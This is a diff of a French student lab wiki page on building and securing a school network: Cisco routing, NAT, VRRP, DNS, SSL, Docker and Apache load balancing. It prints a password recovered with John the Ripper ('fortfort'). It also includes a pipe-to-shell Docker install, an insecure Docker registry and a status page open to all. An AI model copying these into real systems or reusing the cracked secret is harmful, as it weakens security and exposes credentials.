TP sysres IMA5sc 2020/2021 G14 : Différence entre versions

De Wiki d'activités IMA
(→‎Mascarade)
(→‎Configuration de bind)
 
(30 révisions intermédiaires par 3 utilisateurs non affichées)
Ligne 746 : Ligne 746 :
 
  @      IN      NS      ns6.gandi.net.
 
  @      IN      NS      ns6.gandi.net.
 
  ns1    IN      A      193.48.57.176
 
  ns1    IN      A      193.48.57.176
 +
www    IN      A      193.48.57.176
 
         IN      AAAA    2001:660:4401:60b2:216:3eff:fe5e:9825
 
         IN      AAAA    2001:660:4401:60b2:216:3eff:fe5e:9825
  
Ligne 773 : Ligne 774 :
 
[[Fichier:ssl_pra_14.png|400px|right|SSL Oronge]]
 
[[Fichier:ssl_pra_14.png|400px|right|SSL Oronge]]
  
−
'''Procédure secrète, dévoilée à la fin des TPs'''
+
===Prérequis===
 +
 
 +
1. Générer les clés privées et publiques
 +
 
 +
Sur la machine virtuelle, dans le dossier ''/etc/ssl/'', nous avons générer les fichiers .csr (clé publique) et .key (clé privée).
 +
openssl req -nodes -newkey rsa:2048 -sha256 -keyout oronge.site.key -out oronge.site.csr
 +
 
 +
Nous avons placé le fichier .key dans ''/etc/ssl/private/''.
 +
 
 +
Sur gandi.net, il faut faire une demande de signature (gandi signe le .csr, ce qui donne lieu à un .crt).<br/>
 +
Pour cela, il faut suivre [https://docs.gandi.net/fr/ssl/creation/installation_certif_manuelle.html cette procédure] :
 +
* Dans l'étape 2.1, il faut sélectionner Ailleurs -> Standard -> Une adresse (12€, le prix facturé sera de 0€)
 +
* Copier le contenu du fichier .csr
 +
* Suivre les indications et choisir le mode de validation par DNS.
 +
 
 +
Nous avons ajouté un enregistrement CNAME à notre DNS, c'est-à-dire dans le fichier ''/etc/bind/db.oronge.site'' :
 +
_D02D6E81015AC4C912452A293FC44F3B.oronge.site. 10800 IN CNAME 53C1F9632BC71285903C42E79FB9786F.1FAD6B9FAF636C3B81697C2DAF265A8A.ae93f6696a2a89b67aa6.comodoca.com.
 +
 
 +
A la suite de ces étapes, le certificat est disponible au téléchargement depuis le site de gandi (fichier .crt) que l'on place dans ''/etc/ssl/certs/''.<br/>
 +
On télécharge également le certificat intermédiaire de gandi : GandiStandardSSLCA2.pem que l'on place également dans ''/etc/ssl/certs/''.
 +
 
 +
===Configuration d'Apache 2===
 +
 
 +
1. Activation du module SSL
 +
 
 +
a2enmod ssl
 +
 
 +
2. Configuration du port 443
 +
 
 +
Dans le fichier ''/etc/apache2/ports.conf'', il y avait :
 +
Listen 80
 +
 +
<IfModule ssl_module>
 +
        Listen 443
 +
</IfModule>
 +
 +
<IfModule mod_gnutls.c>
 +
        Listen 443
 +
</IfModule>
 +
 
 +
Nous avons supprimé le premier if module et nous avons ajouté :
 +
 
 +
<IfModule mod_ssl.c>
 +
        Listen 443
 +
</IfModule>
 +
 
 +
3. Création de liens symboliques pour les certificats
 +
 
 +
c_rehash /etc/ssl/certs
 +
 
 +
La sortie de cette commande est celle-ci :
 +
Doing /etc/ssl/certs
 +
WARNING: Skipping duplicate certificate ca-certificates.crt
 +
WARNING: Skipping duplicate certificate ca-certificates.crt
 +
 
 +
4. Hôtes virtuels
 +
 
 +
Nous avons créé le répertoire ''/var/www/oronge.site/''
 +
 
 +
Nous avons créé le fichier ''/etc/apache2/sites-available/000-oronge.site-ssl.conf'' dans lequel nous avons mis :
 +
<VirtualHost 193.48.57.176:443>
 +
        ServerName oronge.site
 +
        ServerAlias www.oronge.site
 +
        DocumentRoot /var/www/www.oronge.site/
 +
        CustomLog /var/log/apache2/secure_access.log combined
 +
 +
        SSLEngine on
 +
        SSLCertificateFile /etc/ssl/certs/oronge.site.crt
 +
        SSLCertificateKeyFile /etc/ssl/private/oronge.site.key
 +
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
 +
        SSLVerifyClient None
 +
</VirtualHost>
 +
 
 +
Nous avons activé le site ssl :
 +
a2ensite 000-oronge.site-ssl
 +
 
 +
5. Configuration d'Apache2
 +
 
 +
Dans le fichier /etc/apache2/apache2.conf
 +
ServerName oronge.site
 +
 
 +
6. Ajout d'un enregistrement
 +
 
 +
Dans le fichier /etc/bind/db.oronge.site, nous avons ajouté un enregistrement de type A pour définir l'adresse de www.oronge.site :
 +
www    IN      A      193.48.57.176
  
 
===Tests===
 
===Tests===
Ligne 1 158 : Ligne 1 243 :
 
Avec la commande :  
 
Avec la commande :  
 
  john --show mdp
 
  john --show mdp
−
On obtient le mot de passe : '''********'''.
+
On obtient le mot de passe : '''fortfort'''.
  
 
=Réalisations=
 
=Réalisations=
Ligne 1 336 : Ligne 1 421 :
  
 
Nous supposons que l'OSPF ne veut pas exporter l'interface Loopback.
 
Nous supposons que l'OSPF ne veut pas exporter l'interface Loopback.
 +
 +
===Tests===
 +
 +
IMA5sc-R1#sh ip nat statistics
 +
Total active translations: 0 (0 static, 0 dynamic; 0 extended)
 +
Outside interfaces:
 +
  Vlan131
 +
Inside interfaces:
 +
  Vlan314
 +
Hits: 983  Misses: 0
 +
CEF Translated packets: 983, CEF Punted packets: 5123
 +
Expired translations: 7
 +
Dynamic mappings:
 +
-- Inside Source
 +
[Id: 7] access-list 114 interface Loopback0 refcount 0
 +
 +
=Ferme de serveurs Web=
 +
 +
Il nous est demandé d’implanter une architecture d’équilibrage de charge pour un site Web.
 +
 +
==Architecture générale de la ferme==
 +
 +
Ajout d'une interface réseau à notre machine virtuelle ''oronge'' afin de relier celle-ci au VLAN50. Nous choisissons comme adresse MAC celle de la première interface + 1. Dans un premier temps, nous l'ajoutons à notre fichier de configuration sur ''capbreton'' :
 +
 +
vif = [ 'bridge=IMA5sc, mac=00:16:3E:5E:98:25', ''''bridge=bridgeStudents, mac=00:16:3E:5E:98:26'''' ]
 +
 +
Ensuite, nous la configurons notre machine principale (''capbreton'') en ajoutant au fichier ''/etc/network/interfaces'' :
 +
auto eth1
 +
iface eth1 inet static
 +
  address 192.168.42.14
 +
  netmask 255.255.255.0
 +
 +
Puis sur notre machine secondaire (''chassiron'') en ajoutant au fichier ''/etc/network/interfaces'' :
 +
auto eth0
 +
iface eth0 inet static
 +
  address 192.168.42.28
 +
  netmask 255.255.255.0
 +
  gateway 192.168.42.14
 +
 +
Nous ajoutons également l'adresse 193.48.57.176 en tant que nameserver dans le fichier ''/etc/resolv.conf''.
 +
 +
Afin de donner un accès internet à notre machine virtuelle secondaire, nous mettons en place une mascarade sur notre machine principale :
 +
root@oronge:~# iptables -P FORWARD DROP
 +
root@oronge:~# iptables -A FORWARD -j ACCEPT -s 192.168.42.28/32
 +
root@oronge:~# iptables -A FORWARD -j ACCEPT -d 192.168.42.28/32
 +
root@oronge:~# iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.28/32 --to-source 193.48.57.176
 +
root@oronge:~# iptables-save
 +
root@oronge:~# echo 1 > /proc/sys/net/ipv4/ip_forward
 +
 +
==Installation de docker==
 +
 +
La méthode détaillée :
 +
apt -y install apt-transport-https ca-certificates curl gnupg2 software-properties-common
 +
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
 +
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
 +
apt update
 +
apt -y install docker-ce docker-ce-cli containerd.io
 +
 +
Il également possible d'installer Docker avec cette commande :
 +
wget -qO - get.docker.com | sh
 +
 +
==Déploiement du conteneur==
 +
 +
Les rôles ansible sont dans '''/etc/ansible/roles'''.<br/>
 +
Les playbooks sont dans '''/etc/ansible'''.
 +
 +
Le playbook nommé test permet de faire un lsb_release sur tous les hôtes du groupe webservers.<br/>
 +
Le playbook nommé playbook permet de télécharger le motd et de set le ntpd, d'installer Docker et de déployer le rôle registry sur notre VM personnelle sur Chassiron.<br/>
 +
Le playbook nommé apache permet de déployer le rôle apache décrit plus bas.
 +
 +
'''1. Image et conteneur'''
 +
 +
Nous voulons créer une image à partir de la dernière version d'httpd, dans laquelle nous allons copier le favicon et le fichier index.php de notre serveur.
 +
 +
Nous avons créer un Dockerfile dans le but de créer un image :
 +
FROM httpd:latest
 +
 +
WORKDIR /usr/local/apache2/htdocs
 +
 +
COPY src/ .
 +
 +
CMD [ "httpd", "-D", "FOREGROUND" ]
 +
 +
Ce fichier copie les source de notre site web dans l'image Docker et lance la commande donnée.<br/>
 +
Pour créer l'image :
 +
docker build -t apache .
 +
 +
Ensuite, nous créons un conteneur :
 +
docker run -d --name apache apache
 +
 +
'''2. Dépôt non sécurisé'''
 +
 +
Nous devons utiliser l'utilisation d'un dépôt registry non sécurisé. Pour cela, nous allons copier un fichier nommé daemon.json sur chaque VM de chassiron.
 +
{
 +
  "insecure-registries" : ["192.168.42.15:5000", "192.168.42.16:5000", "192.168.42.17:5000", "192.168.42.18:5000", "192.168.42.19:5000", "192.168.42.20:5000", "192.168.42.21:5000", "192.168.42.22:5000", "192.168.42.23:5000", "192.168.42.24:5000", "192.168.42.25:5000", "192.168.42.26:5000", "192.168.42.28:5000"]
 +
}
 +
 +
'''3. Déploiement'''
 +
 +
Nous avons créé un rôle ansible (registry) utilisant le module docker_container.<br/>
 +
Ce rôle va permettre de déployer un registry Docker sur l'ensemble des hôtes souhaités.<br/>
 +
 +
La deuxième étape consiste à push notre conteneur sur le registry :
 +
docker tag apache 192.168.42.28:5000/apache
 +
docker push 192.168.42.28:5000/apache
 +
 +
Nous avons ensuite créé un rôle ansible (apache) utilisant également le module docker_container.<br/>
 +
Ce rôle devra pull depuis le registry de notre VM sur chassiron notre conteneur Docker (renommé '''oronge''' en même temps).
 +
 +
'''4. Les versions de python'''
 +
 +
Malheureusement, nous avons rencontré des problèmes liés à la version de python utilisée par ansible.<br/>
 +
La solution que nous avons trouvé est se compose de plusieurs choses :
 +
*Installer python3 sur notre VM sur chassiron
 +
*Supprimer toutes les autres versions de python
 +
*Installer une "mise à jour" d'ansible avec pip3
 +
*Forcer l'utilisation de python3 dans la config d'ansible
 +
 +
==Load balancing==
 +
 +
Dans le fichier ''/etc/bind/db.oronge.site'', ajouter :
 +
reverse IN      CNAME  ns1
 +
 +
Ensuite, lancer les commandes :
 +
cd /etc/bind/oronge.site.dnssec && dnssec-signzone -o oronge.site -k oronge.site-ksk ../db.oronge.site oronge.site-zsk
 +
service bind9 restart
 +
a2enmod proxy
 +
a2enmod proxy_http
 +
 +
Ajouter dans ''/etc/apache2/apache.conf''
 +
<Proxy "balancer://mycluster">
 +
        BalancerMember "<nowiki>http://192.168.42.15:8094</nowiki>" route=1
 +
        BalancerMember "<nowiki>http://192.168.42.28:8094</nowiki>" route=2
 +
        BalancerMember "<nowiki>http://192.168.42.14:8095</nowiki>" route=3
 +
        BalancerMember "<nowiki>http://192.168.42.17:8094</nowiki>" route=4
 +
        BalancerMember "<nowiki>http://192.168.42.20:8094</nowiki>" route=5
 +
        BalancerMember "<nowiki>http://192.168.42.22:8094</nowiki>" route=6
 +
        BalancerMember "<nowiki>http://192.168.42.24:8094</nowiki>" route=7
 +
        BalancerMember "<nowiki>http://192.168.42.25:8094</nowiki>" route=8
 +
</Proxy>
 +
 +
Créer ''/etc/apache2/sites-available/reverse.conf''
 +
<VirtualHost *:80>
 +
        ServerName reverse.oronge.site
 +
        ProxyPreserveHost On
 +
       
 +
        ProxyPass /status !
 +
        ProxyPass / "balancer://mycluster"
 +
        ProxyPassReverse / "balancer://mycluster"
 +
 +
        <location /status>
 +
                SetHandler server-status
 +
                Allow from all
 +
        </location>
 +
</VirtualHost>
 +
 +
Lancer les commandes suivantes :
 +
a2ensite reverse
 +
a2enmod proxy_balancer
 +
a2enmod lbmethod_byrequests
 +
service apache2 restart
 +
 +
L'uri '''reverse.oronge.site/status''' donne les statistiques d'équilibrage de charge.<br/>
 +
On remarque que grâce à la configuration mise en place (module lbmethod_byrequests), les requêtes sont distribuées de manière à ce que le serveur qui a le plus besoin de travailler reçoive la prochaine.
 +
Sch Host         Stat Route Redir         F Set Acc Busy     Wr Rd
 +
http 192.168.42.15 Init Ok         1 1.00 0 27 0     16K 1.2K
 +
http 192.168.42.28 Init Ok         2 1.00 0 26 0     13K 1.2K
 +
http 192.168.42.14 Init Ok         3 1.00 0 26 0     13K 1.2K
 +
http 192.168.42.17 Init Err 4 1.00 0 1 0     0 0
 +
http 192.168.42.20 Init Err 5 1.00 0 1 0     0 0
 +
http 192.168.42.22 Init Err 6 1.00 0 1 0     0 0
 +
http 192.168.42.24 Init Err 7 1.00 0 1 0     0 0
 +
http 192.168.42.25 Init Err 8 1.00 0 1 0     0 0
 +
 +
On remarque également que les VMs sur lesquelles nous n'avons pas de conteneur sont mises en erreur par le système de load balancing et ne sont donc pas prises en compte dans la répartition des charges.

Version actuelle datée du 31 décembre 2020 à 11:16

FAUCHOIS Lukas & ROUILLÉ Guillaume

Sommaire

Plan d'adressage

Groupe Domaine Distribution IP (privée) IP (publique) VLAN IPV4 IPV4 6509-E IPV4 C9200 IPV4 Routeur IPV6
Groupe 14 oronge.site Debian 10 Buster 100.64.0.16 193.48.57.176 314 10.60.114.0/24 10.60.114.1 10.60.114.2 10.60.114.254 2001:660:4401:60bf::0/64

Installation réseau

Schéma global

Schéma de câblage

Notre groupe s'est occupé de l'installation du réseau. Nous avons mis en place les différentes liaisons physiques entre les serveurs et routeurs.
Nous avons obtenu le schéma de connexion ci-contre. Ensuite, nous avons paramétré les routeurs pour permettre la connexion avec les machines virtuelles de chaque groupe.

Configuration IPV4

Paramétrage des VLANs

6509-E

Dans un premier temps, on paramètre le routeur 6509-E placé en E306. Nous avons créé le VLAN 131 pour nous connecter au routeur de l'école.
Nous lui avons attribué une adresse routée et un port sur lequel est branchée la fibre venant du routeur de l'école. 

enable
  conf t
    vlan 131
      name internet
      exit
    int vlan 131
      no shut
      ip address 192.168.222.12 255.255.255.248
      exit
    int te6/4
      no shut
      switchport mode access
      switchport access vlan 131
      exit
    exit
  write

Ensuite, nous avons créé le VLAN 333. Ce VLAN permet l'accès au routeur 6509-E depuis les VMs.
Il est donc connecté au port Te5/5 (10G) sur lequel est branchée un fibre venant du serveur capbreton.
De plus, étant donné que nous n'avons pas réussi à mettre en place un NAT en plus de l'OSPF, nous avons dû utiliser des adresses routées pour le routeur et les VMs. 

enable
  conf t
    vlan 333
      name vm-ima5sc
      exit
    int vlan 333
      no shut
      ip address 100.64.0.1 255.255.255.0
      exit
    int te5/5
      no shut
      switchport mode access
      switchport access vlan 333
      exit
    exit
  write

9200

Pour mettre en place une redondance, nous utilisons deux routeurs. Sur ce deuxième routeur, nous avons également créé le VLAN 131 pour nous connecter au routeur de l'école.
Nous lui avons attribué une adresse routée et un port sur lequel est branchée la fibre venant du routeur de l'école. 

enable
  conf t
    vlan 131
      name internet-ima5sc
      exit
    int vlan 131
      no shut
      ip address 192.168.222.13 255.255.255.248
      exit
    int Gi1/0/1
      no shut
      switchport mode access
      switchport access vlan 131
      exit
    exit
  write

Ensuite, nous avons créé le VLAN 333. Ce VLAN permet l'accès au routeur 9200 depuis les VMs.
Il est donc connecté au port Te1/1/3 (10G) sur lequel est branchée un fibre venant du serveur capbreton. 

enable
  conf t
    vlan 333
      name vm-ima5sc
      exit
    int vlan 333
      no shut
      ip address 100.64.0.2 255.255.255.0
      exit
    int te1/1/3
      no shut
      switchport mode access
      switchport access vlan 333
      exit
    exit
  write

Paramétrage de l'OSPF

Fait avec le groupe 1

Pour permettre la transmission de la table de routage de nos routeurs aux autres routeurs utilisés, et pour récupérer leurs tables, nous avons mis en place l'OSPF.
Étant donné le problème avec le NAT (expliqué dans la section suivante), nous utilisons des adresses routées, donc cette partie n'est pas utile pour notre TP pour l'instant.

6509-E 

router ospf 1                                          # un numéro de processus                                                                                                         
 router-id 10.60.100.1                                   # un id pour le routeur (plus petite adresse disponible)
 log-adjacency-changes                                                                                  
 summary-address 193.48.57.176 255.255.255.240         # réseau routé, que l'on souhaite diffuser aux voisins                                                                                                      
 summary-address 100.64.0.0 255.240.0.0 not-advertise  # réseau local, sur lequel se trouvent les VMs, que l'on ne souhaite pas diffuser aux voisins
 summary-address 10.0.0.0 255.0.0.0 not-advertise      # réseau local, que l'on ne souhaite pas diffuser aux voisins                                                                                                        
 redistribute connected subnets                        # autorise la diffusion des routes connectées
 redistribute static subnets                           # autorise la diffusion des routes statiques                                                    
 network 192.168.222.8 0.0.0.7 area 2                  # domaine de diffusion OSPF

9200 

router ospf 1                                                                                                                                    
 router-id 10.60.100.2                                   # on change simplement l'id du routeur par rapport au 6509-E
 log-adjacency-changes                                                                                  
 summary-address 193.48.57.176 255.255.255.240                                                                                                         
 summary-address 100.64.0.0 255.240.0.0 not-advertise  
 summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                    
 redistribute connected subnets                       
 redistribute static subnets                                                                                                                         
 network 192.168.222.8 0.0.0.7 area 2

Paramétrage du NAT

Fait avec le groupe 1

Afin de connecter notre réseau privé sur lequel se trouvent les VMs, nous avons besoin que nos routeurs fassent du NAT.
Nous souhaitons que notre réseau 100.64.0.0 soit transposé dans le réseau 193.48.15.176.
Nous avons vu dans la partie OSPF que le réseau 193.48.57.176 été partagé, il correspond donc aux IP publiques (chacune correspond à une IP locale privée). 

enable
  configure terminal
    ip nat inside source static network 100.64.0.16 193.48.57.176 /28
    int vlan 333
      ip nat inside
      exit
    int vlan 131
      ip nat outside
      exit
    exit
  write

Il faut ajouter : copy running-config startup-config pour enregistrer les modifications du NAT. (Configure Interfaces Cisco, Configure NAT Cisco)

Problèmes rencontrés

Lors de la mise en place des différents VLANs, nous avons rencontré plusieurs problèmes. Nous décrivons ici comment nous les avons résolu.

Interface en mode bloquée

Lors de l'utilisation de la commande sh spanning-tree vlan xxx, nous avons des informations sur les différents ports du VLAN souhaité.
Sur le routeur 6509-E, nous avions le port Te5/5 bloqué (BLK) sur le VLAN 333.
Pour résoudre ce problème, nous avons relancer ce port en faisait un shut puis un no shut.
Le port est alors passé de l'état BLK (block) à LST (listen), puis LRN (learn), et enfin FWD (forward), l'état recherché.

Spanning tree instance(s) for vlan 333 does no exist

Pour résoudre ce problème, nous avons changé le mode du spanning-tree avec la commande spanning-tree mode mst

OSPF & NAT

L'OSPF mis en place fonctionne correctement seul. La translation d'adresses IP privée vers publique du NAT semble fonctionnait car la commande sh ip nat translations affiche bien le résultat souhaité. Cependant, l'association des 2 systèmes ne fonctionne pas correctement. Nous avons tenté de résoudre le problème de deux façons, sans succès.

Forum avec les solutions

  • Interface loopback
enable
  conf t
    int loopback 0
      ip ospf network point-to-point
      ip address 193.48.57.190 255.255.255.240
      exit
    exit
  write

Nous avons précisé à l'interface une adresse IP en .190 mais le réseau OSPF est 192.168.222.8/29, peut-être que notre problème vient de là.
Nous devons sûrement ajouter dans l'OSPF le réseau 193.48.57.176/28 (Forum source).

  • Route vers Null0
enable
  conf t
    ip route 193.48.57.176 255.255.255.240 Null 0
    exit
  write

Là encore, nous avons précisé le réseau 193.48.57.176/28 mais le réseau OSPF est 192.168.222.8/29.
On effectue également le commande redistribute static subnets sans les arguments route-map et ospf.

Solution alternative

On modifie l'IP du vlan 333 : 

ip address 100.64.0.1 255.255.255.0

On ajoute une route statique : 

ip route 193.48.57.176 255.255.255.255 10.64.0.16

On modifie le fichier /etc/network/interfaces des VM : 

iface eth0 inet static
 address 193.48.57.176
 netmask 255.255.255.255
 up ip address add dev eth0 100.64.0.16/24
 up ip route add default via 100.64.0.2 src 193.48.57.176
 down ip address del dev eth0 100.64.0.16/24
 down ip route del default via 100.64.0.2 src 193.48.57.176

VRRP

Fait avec le groupe 1
Pour ceux qui voudraient paramétrer leur vlan, merci de ne pas toucher aux vlans 333 et 314. Configurer votre vlan (voir page commune).

Routeur 6509-E

Vlan 333 

(config)#vlan 333
(config-if)#vrrp 33 ip 100.64.0.254
(config-if)#vrrp 33 preempt
(config-if)#vrrp 33 priority 110
(config-if)#exit

Vlan 314 

(config)#vlan 314
(config-if)#vrrp 54 ip 10.60.114.254
(config-if)#vrrp 54 preempt
(config-if)#vrrp 54 priority 110
(config-if)#exit
(config)#exit

Routeur C9200

Vlan 333 

(config)#vlan 333
(config-if)#vrrp 33 address-family ipv4
(config-if-vrrp)#address 100.64.0.254
(config-if-vrrp)#preempt
(config-if-vrrp)#vrrpv2
(config-if-vrrp)#exit
(config-if)#exit

Vlan 314 

(config)#vlan 314
(config-if)#vrrp 54 address-family ipv4
(config-if-vrrp)#address 10.60.114.254
(config-if-vrrp)#preempt
(config-if-vrrp)#vrrpv2
(config-if-vrrp)#exit
(config-if)#exit
(config)#exit

SDSL

ISR 4331

Dans le local technique SR52, nous avons repérer sur quel port été connecté l'ISR4331 : Gi0/37.
Nous avons donc créé le VLAN 531 d'IP 192.168.222.25/29 et nous y avons placer ce port.

Au niveau de l'ISR4331, nous avons créer un BDI, semblable à un VLAN sur les autres routeurs.
Nous avons lié le port Gi0/0/1 qui est connecté en SR52 à ce BDI, d'adresse IP 192.168.222.26/29. 

IMA5sc-R3(config)#int BDI531
IMA5sc-R3(config-if)#ip address 192.168.222.26 255.255.255.248
IMA5sc-R3(config-if)#no shut
IMA5sc-R3(config-if)#exit  
IMA5sc-R3(config)#int GigabitEthernet0/0/1 
IMA5sc-R3(config-if)#service instance 531 ethernet
IMA5sc-R3(config-if-srv)#encapsulation untagged
IMA5sc-R3(config-if-srv)#bridge-domain 531
IMA5sc-R3(config-if-srv)#exit
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#exit
IMA5sc-R3#write

Configuration du BDI 333 : 

IMA5sc-R3(config)#int BDI 333
IMA5sc-R3(config-if)# ip address 100.64.0.3 255.255.255.0
IMA5sc-R3(config-if)# vrrp 33 ip 100.64.0.254
IMA5sc-R3(config-if)# vrrp 33 priority 90
IMA5sc-R3(config-if)# exit


Nous avons ajouté les deux ports reliés aux routeurs dans le BDI 333. 

IMA5sc-R3#conf t
IMA5sc-R3(config)#int Gi0/0/0 
IMA5sc-R3(config-if)#service instance 333 ethernet
IMA5sc-R3(config-if-srv)#encapsulation dot1q 333
IMA5sc-R3(config-if-srv)#rewrite ingress tag pop 1 symmetric
IMA5sc-R3( config-if-srv)#bridge-domain 333
IMA5sc-R3(config-if-srv)#exit
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#exit
IMA5sc-R3#write

IMA5sc-R3#conf t
IMA5sc-R3(config)#int Gi0/0/2
IMA5sc-R3(config-if)#service instance 333 ethernet
IMA5sc-R3(config-if-srv)#encapsulation dot1q 333
IMA5sc-R3(config-if-srv)#rewrite ingress tag pop 1 symmetric
IMA5sc-R3(config-if-srv)#bridge-domain 333
IMA5sc-R3(config-if-srv)#exit
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#exit
IMA5sc-R3#write

Nous avons activé VRRP sur le BDI 333. 

IMA5sc-R3(config)#int bdi 333
IMA5sc-R3(config-if)#vrrp 33 ip 100.64.0.254
IMA5sc-R3(config-if)#vrrp 33 preempt
IMA5sc-R3(config-if)#vrrp 33 priority 90
IMA5sc-R3(config-if)#exit

Sur notre VM, oronge.site, nous avons lancé la commande suivante pour trouver une IP d'un routeur RENATER relativement loin de l'école : 

traceroute 8.8.8.8

Nous avons tout d'abord sélectionner l'IP 193.51.190.242, mais nous n'avons pas réussi à la ping depuis l'ISR.
Nous avons donc choisi l'IP 192.168.44.1.

6509-E

Depuis le routeur 6509-E : 

traceroute 192.168.44.1
1 192.168.222.14 0 msec 0 msec 0 msec
2 192.168.114.9 0 msec 4 msec 0 msec
3 192.168.44.1 4 msec *  8 msec

Pour décrémenter la priorité VRRP des routeurs en cas d'incident sur RENATER, nous allons paramétrer le mécanisme SLA : 

IMA5sc-R1> en
IMA5sc-R1# conf t
IMA5sc-R1(config)# ip sla 1
IMA5sc-R1(config-ip-sla)# icmp-echo 192.168.44.1
IMA5sc-R1(config-ip-sla)# frequency 300
IMA5sc-R1(config-ip-sla)# exit
IMA5sc-R1(config)# ip sla schedule 1 life forever start-time now
IMA5sc-R1(config)# exit
IMA5sc-R1# sh ip sla statistics
IMA5sc-R1# conf t
IMA5sc-R1(config)# track 1 ip sla 1
IMA5sc-R1(config-track)# exit
IMA5sc-R1(config)# int vlan 333
IMA5sc-R1(config-if)# vrrp 33 track 1 decrement 50
IMA5sc-R1(config-if)# exit
IMA5sc-R1(config)# exit
IMA5sc-R1# write
IMA5sc-R1# sh vrrp
IMA5sc-R1# sh track

Nous devons également passer le port lié à l'ISR 4331 en mode trunk. 

IMA5sc-R1# conf t
IMA5sc-R1(config)# int Te6/5
IMA5sc-R1(config-if)# switchport trunk encapsulation dot1q
IMA5sc-R1(config-if)# switchport mode trunk
IMA5sc-R1(config-if)# exit
IMA5sc-R1(config)# exit


C9200 

IMA5sc-R> en
IMA5sc-R2# conf t
IMA5sc-R2(config)# ip sla 1
IMA5sc-R2(config-ip-sla)# icmp-echo 192.168.44.1
IMA5sc-R2(config-ip-sla)# frequency 300
IMA5sc-R2(config-ip-sla)# exit
IMA5sc-R2(config)# ip sla schedule 1 life forever start-time now
IMA5sc-R2(config)# exit
IMA5sc-R2# sh ip sla statistics
IMA5sc-R2# conf t
IMA5sc-R2(config)# track 1 ip sla 1
IMA5sc-R2(config-track)# exit
IMA5sc-R2(config)# int vlan 333
IMA5sc-R2(config-if)#vrrp 33 address-family ipv4
IMA5sc-R2(config-if-vrrp)# track 1 decrement 50
IMA5sc-R2(config-if-vrrp)# exit
IMA5sc-R2(config-if)# exit
IMA5sc-R2(config)# exit
IMA5sc-R2# write
IMA5sc-R2# sh vrrp
IMA5sc-R2# sh track

Nous devons également passer le port lié à l'ISR 4331 en mode trunk. 

IMA5sc-R2# conf t
IMA5sc-R2(config)# int Gi1/0/2
IMA5sc-R2(config-if)# switchport mode trunk
IMA5sc-R2(config-if)# exit
IMA5sc-R2(config)# exit


Mascarade NAT ISR 4331 

IMA5sc-R3>en
IMA5sc-R3#conf t 
IMA5sc-R3(config)#int loopback 0
IMA5sc-R3(config-if)#ip address 213.215.6.102 255.255.255.255
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#int bdi 531
IMA5sc-R3(config-if)#ip nat outside
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#int bdi 333
IMA5sc-R3(config-if)#ip nat inside
IMA5sc-R3(config-if)#exit
IMA5sc-R3(config)#access-list 33 permit 193.48.57.176 0.0.0.15
IMA5sc-R3(config)#ip nat inside source list 33 int loopback 0 overload
IMA5sc-R3(config)#exit
IMA5sc-R3(config)#ip route 193.48.57.176 255.255.255.255 100.64.0.16

Tests

Via l'IP 100.64.0.3

Nous avons changé l'IP du routeur sur notre VM (100.64.0.254 -> 100.64.0.3) pour tester la connexion.
Le résultat est ok, nous arrivons à ping 8.8.8.8.

Coupure des 2 routeurs

Nous avons coupé les 2 routeurs successivement.
Lors de l'extinction du 6509-E, le C9200 a pris le relai (il est passé en Master alors que le 6509-E est passé en Backup). Pour obtenir le même résultat lors de l'extinction du C9200, nous avons passé VRRP en version 2.

Depuis les VM, nous avons toujours accès à internet. Cependant, il est impossible d'accéder aux VMs depuis l'extérieur.

Commandes utiles

  • sh vlan  : donne des informations sur l'ensemble des VLANs (ports connectés, état, nom) ;
  • sh int vlan xxx  : donne des informations sur le VLAN xxx (adresse IP, etc.) ;
  • sh int status  : donne des informations sur les différentes interfaces (port, état, vlan, vitesse, type) ;
  • sh cdp neighbors  : donne des informations sur les différents ports et sur l'interface sur laquelle ils sont connectés ;
  • sh run [int {vlan xxx, port}] : donne des informations sur l'état actuel de toutes les interfaces, vlan, etc. ou de l'élément sélectionné ;
  • sh ip route  : liste les routes ;
  • debug ip nat  : liste les échanges du routeurs avec les adresses issues du NAT.

Configuration IPV6

Fait avec le groupe 1
Pour ceux qui voudraient paramétrer leur vlan, ne réalisez que la partie "Vlan privée" en utilisant votre vlan.

Routeur 6509-E

> en
# conf t
(config)# ipv6 unicast-routing

Liaison avec l'ISR4331 

A faire en IPV4 et IPV6

Liaison avec capbreton 

(config)#int vlan 333
(config-if)#ipv6 address 2001:660:4401:60b2::/60 (eui-64)
(config-if)#ipv6 nd prefix 2001:660:4401:60b2::/60 1000 900
(config-if)#ipv6 nd router-preference High
(config-if)#exit
(config)#exit

Vlan privé 

(config)#vlan 314
(config-if)#name oronge.site
(config-if)#exit
(config)#int vlan 314
(config-if)#no shut
(config-if)#ip address 10.60.114.1 255.255.255.0
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60bf::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60bf::/64 1000 900
(config-if)#ipv6 nd router-preference High
(config-if)#exit
(config)#exit

RIP 

(config)#ipv6 router rip tpima5sc
(config-rtr)#redistribute connected metric 1
(config-rtr)#redistribute rip 1 metric 1
(config-rtr)#redistribute static metric 1
(config-rtr)#exit

(config)#vlan 131
(config-if)#ipv6 enable
(config-if)#ipv6 address fe80::21 link-local
(config-if)#ipv6 rip tpima5sc enable
(config-if)#exit
(config)#exit

#write
#exit

Routeur C9200

> en
# conf t
(config)# ipv6 unicast-routing

Liaison avec l'ISR4331 

A faire en IPV4 et IPV6

Liaison avec capbreton 

(config)#int vlan 333
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60b2::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60b2::/64 1000 900
(config-if)#ipv6 nd router-preference Low
(config-if)#exit

Vlan privé 

(config)#vlan 314
(config-if)#name oronge.site
(config-if)#exit
(config)#int vlan 314
(config-if)#no shut
(config-if)#ip address 10.60.114.2 255.255.255.0
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60bf::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60bf::/64 1000 900
(config-if)#ipv6 nd router-preference Low
(config-if)#exit

RIP 

